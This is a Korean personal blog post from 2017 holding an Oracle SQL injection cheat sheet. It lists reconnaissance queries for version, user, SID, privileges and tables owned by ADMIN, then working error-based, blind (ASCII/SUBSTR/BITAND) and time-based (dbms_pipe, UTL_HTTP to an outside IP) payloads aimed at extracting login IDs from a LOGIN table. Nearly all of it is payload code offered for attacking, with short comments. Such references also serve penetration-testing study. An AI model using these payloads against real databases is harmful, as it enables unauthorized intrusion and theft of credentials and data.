Notice
Recent Posts
Recent Comments
Link
«   2024/07   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

kaka09

대충짜본 오라클 공격쿼리??(계속 업데이트 예정) 본문

Web

대충짜본 오라클 공격쿼리??(계속 업데이트 예정)

kaka09 2017. 9. 2. 20:09

SELECT version FROM v$instance;

select banner from v$version where rownum=1

#버전명 출력 


SELECT USER FROM DUAL;

#현재 DB를 사용하는 사용자명 출력


SELECT SYS.DATABASE_NAME FROM DUAL;

or

SELECT INSTANCE_NAME FROM v$instance;

#현재 사용중인 DB의 SID명 출력


SELECT * FROM USER_SYS_PRIVS;

SELECT * FROM session_privs

SELECT * FROM dba_role_privs

SELECT * FROM dba_sys_privs

SELECT * FROM user_tab_privs

#사용자에게 주어진 권한 확인


SELECT * FROM ALL_TABLES WHERE OWNER='ADMIN';

#사용자 ADMIN이 만든 테이블 목록과 각종 정보를 기술


SELECT * FROM ALL_TAB_COLUMNS WHERE OWNER='ADMIN';

#사용자 ADMIN이 만든 테이블 명 컬럼명 들과 각종 정보를 기술

#tabs 와 cols 또한 유용


select rtrim(xmlagg(xmlelement(e,table_name || ',')).extract('//text()').extract('//text()'),',') from all_tables where OWNER='ADMIN'

SELECT replace(wm_concat('<li>'||table_name),',','') FROM all_tables WHERE OWNER='ADMIN';

SELECT LISTAGG(TABLE_NAME,'</li>') WITHIN GROUP (ORDER BY TABLE_NAME)from TABS;

#ADMIN 사용자가 만든 테이블 목록들을 한줄로 출력 mysql의 group_concat과 비슷


select * from (select ROWNUM RNUM, BOARD.* FROM BOARD ORDER BY B_NUM) a where a.RNUM='1';

#LIMIT 절 기능



chr(97)||chr(100)


# 쿼터 우회


--ERROR BASED

SELECT * FROM BOARD ORDER BY 9;

# 컬럼 갯수파악 ORDER BY절의 숫자가 테이블의 컬럼 갯수보다 크면 에러 발생


select * from board where b_num=0 and utl_inaddr.get_host_name((select user from dual))

# 서브쿼리 절에서 반환되는 값이 에러문구에 그대로 노출

#ORA-29257: host ADMIN unknown


--BLIND SQLI

select * from board where b_num=0 or ascii(substr((select L_ID from login where L_ID='8snine'),1,1))=56;

SELECT L_ID FROM LOGIN WHERE L_ID='' AND L_PW='' OR 1=DECODE(0,BITAND(ascii(SUBSTR((SELECT L_ID FROM (SELECT ROWNUM RNUM, T.* FROM LOGIN T) A WHERE A.RNUM='1'),1,1)),64),1,0);

#BITAND(A,B) 비트단위의 A AND B의 결과를 리턴 

#DECODE(COL,VALUE,VALUE2,VALUE3)

 EX)IF(COL==VALUE) #COL에는 컬럼 또는 값이 올 수 있음 컬럼이 들어올 경우 컬럼 안에 들어있는 데이터와 비교  

RETURN VALUE2;

     ELSE 

RETURN VALUE3;


SELECT L_ID FROM LOGIN WHERE L_ID='' AND L_PW='' OR 1=(SELECT CASE WHEN BITAND(ASCII(SUBSTR(L_ID,1,1)),2)=0 THEN 1 ELSE 2 END FROM (SELECT ROWNUM RNUM, T.* FROM LOGIN T) A WHERE A.RNUM='1');

#CASE WHEN 기법


--TIME BASED SQLI

SELECT L_ID FROM LOGIN WHERE L_ID='' AND L_PW='' OR 1=(SELECT CASE WHEN BITAND(ASCII(SUBSTR(L_ID,1,1)),2)=0 THEN dbms_pipe.receive_message(('AA'),3)  ELSE 2 END FROM (SELECT ROWNUM RNUM, T.* FROM LOGIN T) A WHERE A.RNUM='1');

#dbms_pipe.receive_message(('AA'),3) 파이프 메세지를 로컬 버퍼에 전송하는 메소드 이때 대기시간을 지정할 수 있음


SELECT L_ID FROM LOGIN WHERE L_ID='' AND L_PW='' OR 1=(SELECT CASE WHEN BITAND(ASCII(SUBSTR(L_ID,1,1)),4)=0 THEN UTL_HTTP.REQUEST('http://1.1.1.1') ELSE '2' END FROM (SELECT ROWNUM RNUM, T.* FROM LOGIN T) A WHERE A.RNUM='1');

#UTL_HTTP.REQUEST('http://1.1.1.1') 존재하지 않는 호스트 요청시 발생하는 time delay를 이용한 기법

'Web' 카테고리의 다른 글

리버스 쉘(nc via mkfifo)  (0) 2017.12.05
document.cookie bypass  (0) 2017.09.08
mysql용 SQLI 치트시트(계속 업데이트 예정)  (0) 2017.09.02
PHP preg_replace e modifier 취약점  (0) 2017.08.04